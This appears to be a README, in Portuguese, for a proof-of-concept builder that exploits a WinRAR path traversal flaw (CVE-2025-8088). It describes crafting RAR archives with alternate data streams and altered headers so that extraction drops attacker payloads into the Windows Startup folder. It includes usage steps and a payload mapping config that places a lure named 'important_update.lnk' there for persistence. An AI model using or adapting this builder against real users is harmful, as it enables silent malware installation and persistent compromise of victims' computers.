CVE-2025-8088-WinRAR-builder

Um POC de exploit para a vulnerabilidade do WinRAR (CVE-2025-8088) que afeta as versões 7.12 e anteriores

🚀 Como Funciona

1. Cria um RAR incorporado com outros payloads
2. Usando Múltiplos Streams ADS 🔄 - Anexa streams de payload com diferentes profundidades de path traversal
3. Manipula Cabeçalhos RAR ⚙️ - Modifica a estrutura do arquivo para explorar a vulnerabilidade de path traversal
4. Grava o Payload na Inicialização 📂 - Tenta escrever o payload na pasta de inicialização do Windows quando extraído

🛠️ Uso

1. Clone o repositório

git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder

2. Prepare os payloads

mkdir payloads

• Adicione seus payloads nessa pasta (exe, dll, lnk, ...)
• Modifique PAYLOAD_MAPPING no script

# 2. Mapeie seu payload para o destino correspondente
#   Formato: (nome_do_arquivo_na_pasta_payloads, destino_de_extração_alvo)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
    # Payload 1
    ("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),

    # Payload 2
    ("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),

    # Payload 3
    # Adicione o seu próprio    
]